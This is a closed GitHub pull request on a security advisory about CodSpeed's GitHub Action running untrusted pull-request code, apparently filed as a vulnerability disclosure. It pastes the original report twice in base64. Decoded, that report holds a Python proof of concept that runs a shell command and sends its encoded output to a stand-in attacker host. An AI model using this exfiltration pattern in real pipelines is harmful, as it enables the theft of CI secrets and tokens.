Skip to content

[GHSA-5gfj-gw94-7c87] CodSpeed Github Actions Arbiratry Code Execution - #9023

Closed
HackingRepo wants to merge 2 commits into
github:HackingRepo/advisory-improvement-9023from
HackingRepo:patch-1
Closed

[GHSA-5gfj-gw94-7c87] CodSpeed Github Actions Arbiratry Code Execution #9023
HackingRepo wants to merge 2 commits into
github:HackingRepo/advisory-improvement-9023from
HackingRepo:patch-1

Conversation

@HackingRepo

Copy link
Copy Markdown

Hi, Github Security

i want let you known that codspeed is unresponsive, i reported that from April, here is the original poc in base64 since i cannot put because includes markdown

Q29kU3BlZWQgaGF2ZSBjYXVzZWQgc2VjdXJpdHkgcHJvYmxlbXMsIElmIHlvdSBub3QgYmVsaWV2
ZSBpdCwgVGhhdCBob3c/CkludHJvZHVjdGlvbgoKQUnigJFwb3dlcmVkIGJlbmNobWFya2luZyB0
b29scyBsaWtlIENvZFNwZWVkIHByb21pc2UgYXV0b21hdGlvbiBhbmQgZWZmaWNpZW5jeS4gQnV0
IHdoZW4gaW50ZWdyYXRlZCBpbnRvIEdpdEh1YiBBY3Rpb25zLCB0aGV5IGludHJvZHVjZSBhIGRh
bmdlcm91cyBhdHRhY2sgc3VyZmFjZS4gTXkgdGVzdGluZyBzaG93cyB0aGF0IENvZFNwZWVk4oCZ
cyB3b3JrZmxvdyBleGVjdXRlcyB1bnRydXN0ZWQgcHVsbCByZXF1ZXN0IChQUikgY29kZSBhdXRv
bWF0aWNhbGx5LCB3aXRoIG91dGJvdW5kIG5ldHdvcmsgYWNjZXNzIGVuYWJsZWQuIFRoaXMgY29t
YmluYXRpb24gY3JlYXRlcyBhIHN1cHBseSBjaGFpbiB2dWxuZXJhYmlsaXR5IHRoYXQgY2FuIGJl
IGV4cGxvaXRlZCBiZWZvcmUgYW55IGh1bWFuIHJldmlld2VyIGlzIGF3YXJlLgpIb3cgQ29kU3Bl
ZWQgV29ya3MKCkNvZFNwZWVkIGlzIGRlc2lnbmVkIHRvIGJlbmNobWFyayBjb2RlIHBlcmZvcm1h
bmNlLiBXaGVuIGEgY29udHJpYnV0b3Igc3VibWl0cyBhIFBSLCBDb2RTcGVlZOKAmXMgR2l0SHVi
IEFjdGlvbiBydW5zIHRoZSBjb2RlIHRvIG1lYXN1cmUgZXhlY3V0aW9uIHNwZWVkLiBUaGUgcHJv
YmxlbSBpcyB0aGF0IHRoaXMgaGFwcGVucyBhdXRvbWF0aWNhbGx5LCB3aXRob3V0IHNhbmRib3hp
bmcgb3IgaHVtYW4gdmFsaWRhdGlvbi4gSW4gcHJhY3RpY2UsIHRoaXMgbWVhbnMgYW55IGNvZGUg
aW4gdGhlIFBSIGlzIGV4ZWN1dGVkIGluc2lkZSB0aGUgQ0kvQ0QgcGlwZWxpbmUuClByb29mIG9m
IEV4cGxvaXQKCkkgY3JhZnRlZCBhIHNpbXBsZSBtYWxpY2lvdXMgUFIgY29udGFpbmluZzoKCmBg
YHB5dGhvbgpmcm9tIHVybGxpYi5yZXF1ZXN0IGltcG9ydCB1cmxvcGVuCmltcG9ydCBvcywgYmFz
ZTY0CgpkZWYgaGVsbG8obmFtZSk6CiAgICB1cmxvcGVuKGYiaHR0cHM6Ly9hdHRhY2tlci1zZXJ2
ZXIuY29tLz9kYXRhPXtiYXNlNjQuYjY0ZW5jb2RlKGJ5dGVzKG9zLnBvcGVuKCdlY2hvIENvZFNw
ZWVkIGlzIGEgc2VjdXJpdHkgbmlnaHRtYXJlJykucmVhZCgpLCAndXRmLTgnKSl9IikKICAgIHBy
aW50KGYiSGVsbG8ge25hbWV9IikKYGBgCgpXaGVuIENvZFNwZWVkIHJhbiBpdHMgYmVuY2htYXJr
LCB0aGUgd29ya2Zsb3cgZXhlY3V0ZWQgbXkgcGF5bG9hZC4gVGhlIHJ1bm5lciBzdWNjZXNzZnVs
bHkgY29ubmVjdGVkIG91dGJvdW5kIHRvIG15IHNlcnZlciBhbmQgZXhmaWx0cmF0ZWQgZGF0YS4g
TG9ncyBjb25maXJtZWQgdGhlIEdFVCByZXF1ZXN0cyB3aXRoIGJhc2U2NOKAkWVuY29kZWQgY29u
dGVudC4gVGhpcyBwcm92ZXMgdGhhdCBDb2RTcGVlZDoKCiAgIC4gRXhlY3V0ZXMgYXJiaXRyYXJ5
IFBSIGNvZGUgYXV0b21hdGljYWxseS4KCiAgIC4gQWxsb3dzIG91dGJvdW5kIGNvbm5lY3Rpb25z
LgoKICAgIC4gRW5hYmxlcyBkYXRhIGV4ZmlsdHJhdGlvbiBiZWZvcmUgaHVtYW4gcmV2aWV3LgoK
U2VjdXJpdHkgSW1wYWN0CgogICAgU2VjcmV0IGxlYWthZ2U6IEVudmlyb25tZW50IHZhcmlhYmxl
cywgdG9rZW5zLCBvciBBUEkga2V5cyBhdmFpbGFibGUgYW5kIHRoZSBjb2RzcGVlZCB0b2tlbiBi
eSBpdHNlbGYgb24gdGhlIHJ1bm5lciBjYW4gYmUgc3RvbGVuLgoKICAgIERlbmlhbCBvZiBzZXJ2
aWNlOiBNYWxpY2lvdXMgY29kZSAoZS5nLiwgaW5maW5pdGUgbG9vcHMpIGNhbiBzdGFsbCB3b3Jr
Zmxvd3MgYW5kIGJsb2NrIGRldmVsb3BtZW50LgoKICAgIFJlc291cmNlIGFidXNlOiBBdHRhY2tl
cnMgY2FuIGhpamFjayBHaXRIdWIgQWN0aW9ucyBjb21wdXRlIGZvciBjcnlwdG8gbWluaW5nIG9y
IHR1bm5lbGluZyBvciBtYWxpY2lvdXMgYWN0aXZpdGllcyBmb3Igc3VzcGVuZCB2aWN0aW0gYWNj
b3VudC4KCiAgIFN0aWxsIHRoZSBhdHRhY2tlciBjYW4gZXhmaWx0cmF0ZSB0aGUgZ2l0aHViIHRv
a2VuIGFuZCBkdW1wIGFsbCB5b3VyIHByaXZhdGUgcmVwb3Mgc291cmNlIGNvZGUsIHdoaWNoZXMg
YSBodWdlIG1hc3NpdmUgbGVhay4KCiAKVGhlIEdvb2QgTmV3czoKIC0gVGhlIGNvZGUgcnVucyBv
bmx5IG9uIGF0dGFja2Vy4oCRc3VibWl0dGVkIFBScy4gSG93ZXZlciwgdGhlIEdpdEh1YiB0b2tl
biBleHBvc2VkIGluIHRoaXMgY29udGV4dCBoYXMgaWQtd3JpdGUgcGVybWlzc2lvbnMsIG1lYW5p
bmcgaXQgY2FuIGJlIGFidXNlZCB0byB0YW1wZXIgd2l0aCByZXBvc2l0b3J5IG1ldGFkYXRhLCB3
b3JrZmxvdyBpZGVudGl0aWVzLCBvciBsaW5rZWQgcmVzb3VyY2VzLiBUaGlzIGlzIG5vdCBsaW1p
dGVkIHRvIHJlYWTigJFvbmx5IGFjY2VzcywgaXQgaW50cm9kdWNlcyBpbnRlZ3JpdHkgYW5kIGF2
YWlsYWJpbGl0eSByaXNrcyBpbiBhZGRpdGlvbiB0byBjb25maWRlbnRpYWxpdHkuCgoKU3VnZ2Vz
dGVkIEZpeDoKICAtIFRoYXQgdGhlIGJpZ2dlc3QgZml4LCBDb2RTcGVlZCBtdXN0IHJ1biBvbmx5
IGFmdGVyIGFuIGFwcHJvdmVkIGh1bWFuIHJldmlldyBmb3IgbWluaW1pemUgcmlza3MsIG5vdCBi
ZWZvcmUsIGFuZCBodW1hbiBhcHByb3ZlIHRoZSB3b3JrZmxvdyB0byBydW4KIApFeHBvaWxhdGlv
biBJbiB0aGUgV2lsZCBOb3RlOgogIC0gVGhhdCBtb3N0bHksIHdpbGwgYmUgZXhwbG9pdGVkIGlu
IHRoZSB3aWxkIGJ5IGhpZ2ggdGhyZWF0IGFjdG9ycyBhbmQgQVBUIGFuZCBldmVuIFNoaW55SHVu
dGVycyBhcyBwYXJ0IG9mIHRoZWlyIHN1cHBseSBjaGFpbiBhdHRhY2tzLCBzaW5jZSB0aGF0IGNh
biBsZWFkIGV4ZmlsdHJhdGlvbiBvZiBwcml2YXRlIHNvdXJjZSBjb2RlIG9mIGFueSByZXBvIGlu
IGFuIG9yZ2FuaXphdGlvbiB1c2luZyBjb2RzcGVlZCBhbmQgbWF5YmUgYWxzbyB3aWxsIGJlIHVz
ZWQgZm9yIHNhYm90YWdlIGFuZCB0cnkgdG8gZGVzdHJ1Y3QgdGhlIHJlcHV0YXRpb24gZm9yIHRo
ZSByZXBvIG93bmVyLgo=

that was the original report, can you verify that, because codspeed is unresponsive

Hi, Github Security

i want let you known that codspeed is unresponsive, i reported that from April, here is the original poc in base64 since i cannot put because includes markdown

```rust
Q29kU3BlZWQgaGF2ZSBjYXVzZWQgc2VjdXJpdHkgcHJvYmxlbXMsIElmIHlvdSBub3QgYmVsaWV2
ZSBpdCwgVGhhdCBob3c/CkludHJvZHVjdGlvbgoKQUnigJFwb3dlcmVkIGJlbmNobWFya2luZyB0
b29scyBsaWtlIENvZFNwZWVkIHByb21pc2UgYXV0b21hdGlvbiBhbmQgZWZmaWNpZW5jeS4gQnV0
IHdoZW4gaW50ZWdyYXRlZCBpbnRvIEdpdEh1YiBBY3Rpb25zLCB0aGV5IGludHJvZHVjZSBhIGRh
bmdlcm91cyBhdHRhY2sgc3VyZmFjZS4gTXkgdGVzdGluZyBzaG93cyB0aGF0IENvZFNwZWVk4oCZ
cyB3b3JrZmxvdyBleGVjdXRlcyB1bnRydXN0ZWQgcHVsbCByZXF1ZXN0IChQUikgY29kZSBhdXRv
bWF0aWNhbGx5LCB3aXRoIG91dGJvdW5kIG5ldHdvcmsgYWNjZXNzIGVuYWJsZWQuIFRoaXMgY29t
YmluYXRpb24gY3JlYXRlcyBhIHN1cHBseSBjaGFpbiB2dWxuZXJhYmlsaXR5IHRoYXQgY2FuIGJl
IGV4cGxvaXRlZCBiZWZvcmUgYW55IGh1bWFuIHJldmlld2VyIGlzIGF3YXJlLgpIb3cgQ29kU3Bl
ZWQgV29ya3MKCkNvZFNwZWVkIGlzIGRlc2lnbmVkIHRvIGJlbmNobWFyayBjb2RlIHBlcmZvcm1h
bmNlLiBXaGVuIGEgY29udHJpYnV0b3Igc3VibWl0cyBhIFBSLCBDb2RTcGVlZOKAmXMgR2l0SHVi
IEFjdGlvbiBydW5zIHRoZSBjb2RlIHRvIG1lYXN1cmUgZXhlY3V0aW9uIHNwZWVkLiBUaGUgcHJv
YmxlbSBpcyB0aGF0IHRoaXMgaGFwcGVucyBhdXRvbWF0aWNhbGx5LCB3aXRob3V0IHNhbmRib3hp
bmcgb3IgaHVtYW4gdmFsaWRhdGlvbi4gSW4gcHJhY3RpY2UsIHRoaXMgbWVhbnMgYW55IGNvZGUg
aW4gdGhlIFBSIGlzIGV4ZWN1dGVkIGluc2lkZSB0aGUgQ0kvQ0QgcGlwZWxpbmUuClByb29mIG9m
IEV4cGxvaXQKCkkgY3JhZnRlZCBhIHNpbXBsZSBtYWxpY2lvdXMgUFIgY29udGFpbmluZzoKCmBg
YHB5dGhvbgpmcm9tIHVybGxpYi5yZXF1ZXN0IGltcG9ydCB1cmxvcGVuCmltcG9ydCBvcywgYmFz
ZTY0CgpkZWYgaGVsbG8obmFtZSk6CiAgICB1cmxvcGVuKGYiaHR0cHM6Ly9hdHRhY2tlci1zZXJ2
ZXIuY29tLz9kYXRhPXtiYXNlNjQuYjY0ZW5jb2RlKGJ5dGVzKG9zLnBvcGVuKCdlY2hvIENvZFNw
ZWVkIGlzIGEgc2VjdXJpdHkgbmlnaHRtYXJlJykucmVhZCgpLCAndXRmLTgnKSl9IikKICAgIHBy
aW50KGYiSGVsbG8ge25hbWV9IikKYGBgCgpXaGVuIENvZFNwZWVkIHJhbiBpdHMgYmVuY2htYXJr
LCB0aGUgd29ya2Zsb3cgZXhlY3V0ZWQgbXkgcGF5bG9hZC4gVGhlIHJ1bm5lciBzdWNjZXNzZnVs
bHkgY29ubmVjdGVkIG91dGJvdW5kIHRvIG15IHNlcnZlciBhbmQgZXhmaWx0cmF0ZWQgZGF0YS4g
TG9ncyBjb25maXJtZWQgdGhlIEdFVCByZXF1ZXN0cyB3aXRoIGJhc2U2NOKAkWVuY29kZWQgY29u
dGVudC4gVGhpcyBwcm92ZXMgdGhhdCBDb2RTcGVlZDoKCiAgIC4gRXhlY3V0ZXMgYXJiaXRyYXJ5
IFBSIGNvZGUgYXV0b21hdGljYWxseS4KCiAgIC4gQWxsb3dzIG91dGJvdW5kIGNvbm5lY3Rpb25z
LgoKICAgIC4gRW5hYmxlcyBkYXRhIGV4ZmlsdHJhdGlvbiBiZWZvcmUgaHVtYW4gcmV2aWV3LgoK
U2VjdXJpdHkgSW1wYWN0CgogICAgU2VjcmV0IGxlYWthZ2U6IEVudmlyb25tZW50IHZhcmlhYmxl
cywgdG9rZW5zLCBvciBBUEkga2V5cyBhdmFpbGFibGUgYW5kIHRoZSBjb2RzcGVlZCB0b2tlbiBi
eSBpdHNlbGYgb24gdGhlIHJ1bm5lciBjYW4gYmUgc3RvbGVuLgoKICAgIERlbmlhbCBvZiBzZXJ2
aWNlOiBNYWxpY2lvdXMgY29kZSAoZS5nLiwgaW5maW5pdGUgbG9vcHMpIGNhbiBzdGFsbCB3b3Jr
Zmxvd3MgYW5kIGJsb2NrIGRldmVsb3BtZW50LgoKICAgIFJlc291cmNlIGFidXNlOiBBdHRhY2tl
cnMgY2FuIGhpamFjayBHaXRIdWIgQWN0aW9ucyBjb21wdXRlIGZvciBjcnlwdG8gbWluaW5nIG9y
IHR1bm5lbGluZyBvciBtYWxpY2lvdXMgYWN0aXZpdGllcyBmb3Igc3VzcGVuZCB2aWN0aW0gYWNj
b3VudC4KCiAgIFN0aWxsIHRoZSBhdHRhY2tlciBjYW4gZXhmaWx0cmF0ZSB0aGUgZ2l0aHViIHRv
a2VuIGFuZCBkdW1wIGFsbCB5b3VyIHByaXZhdGUgcmVwb3Mgc291cmNlIGNvZGUsIHdoaWNoZXMg
YSBodWdlIG1hc3NpdmUgbGVhay4KCiAKVGhlIEdvb2QgTmV3czoKIC0gVGhlIGNvZGUgcnVucyBv
bmx5IG9uIGF0dGFja2Vy4oCRc3VibWl0dGVkIFBScy4gSG93ZXZlciwgdGhlIEdpdEh1YiB0b2tl
biBleHBvc2VkIGluIHRoaXMgY29udGV4dCBoYXMgaWQtd3JpdGUgcGVybWlzc2lvbnMsIG1lYW5p
bmcgaXQgY2FuIGJlIGFidXNlZCB0byB0YW1wZXIgd2l0aCByZXBvc2l0b3J5IG1ldGFkYXRhLCB3
b3JrZmxvdyBpZGVudGl0aWVzLCBvciBsaW5rZWQgcmVzb3VyY2VzLiBUaGlzIGlzIG5vdCBsaW1p
dGVkIHRvIHJlYWTigJFvbmx5IGFjY2VzcywgaXQgaW50cm9kdWNlcyBpbnRlZ3JpdHkgYW5kIGF2
YWlsYWJpbGl0eSByaXNrcyBpbiBhZGRpdGlvbiB0byBjb25maWRlbnRpYWxpdHkuCgoKU3VnZ2Vz
dGVkIEZpeDoKICAtIFRoYXQgdGhlIGJpZ2dlc3QgZml4LCBDb2RTcGVlZCBtdXN0IHJ1biBvbmx5
IGFmdGVyIGFuIGFwcHJvdmVkIGh1bWFuIHJldmlldyBmb3IgbWluaW1pemUgcmlza3MsIG5vdCBi
ZWZvcmUsIGFuZCBodW1hbiBhcHByb3ZlIHRoZSB3b3JrZmxvdyB0byBydW4KIApFeHBvaWxhdGlv
biBJbiB0aGUgV2lsZCBOb3RlOgogIC0gVGhhdCBtb3N0bHksIHdpbGwgYmUgZXhwbG9pdGVkIGlu
IHRoZSB3aWxkIGJ5IGhpZ2ggdGhyZWF0IGFjdG9ycyBhbmQgQVBUIGFuZCBldmVuIFNoaW55SHVu
dGVycyBhcyBwYXJ0IG9mIHRoZWlyIHN1cHBseSBjaGFpbiBhdHRhY2tzLCBzaW5jZSB0aGF0IGNh
biBsZWFkIGV4ZmlsdHJhdGlvbiBvZiBwcml2YXRlIHNvdXJjZSBjb2RlIG9mIGFueSByZXBvIGlu
IGFuIG9yZ2FuaXphdGlvbiB1c2luZyBjb2RzcGVlZCBhbmQgbWF5YmUgYWxzbyB3aWxsIGJlIHVz
ZWQgZm9yIHNhYm90YWdlIGFuZCB0cnkgdG8gZGVzdHJ1Y3QgdGhlIHJlcHV0YXRpb24gZm9yIHRo
ZSByZXBvIG93bmVyLgo=
```

that was the original report, can you verify that, because codspeed is unresponsive
@HackingRepo HackingRepo changed the title Add GHSA-5gfj-gw94-7c87 [GHSA-5gfj-gw94-7c87] Aug 7, 2026
@github-actions
github-actions Bot changed the base branch from main to HackingRepo/advisory-improvement-9023 August 7, 2026 11:06
@HackingRepo HackingRepo changed the title [GHSA-5gfj-gw94-7c87] [GHSA-5gfj-gw94-7c87] CodSpeed Github Actions Arbiratry Code Execution Aug 7, 2026
@HackingRepo HackingRepo closed this Aug 7, 2026
@HackingRepo
HackingRepo deleted the patch-1 branch August 7, 2026 11:19
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant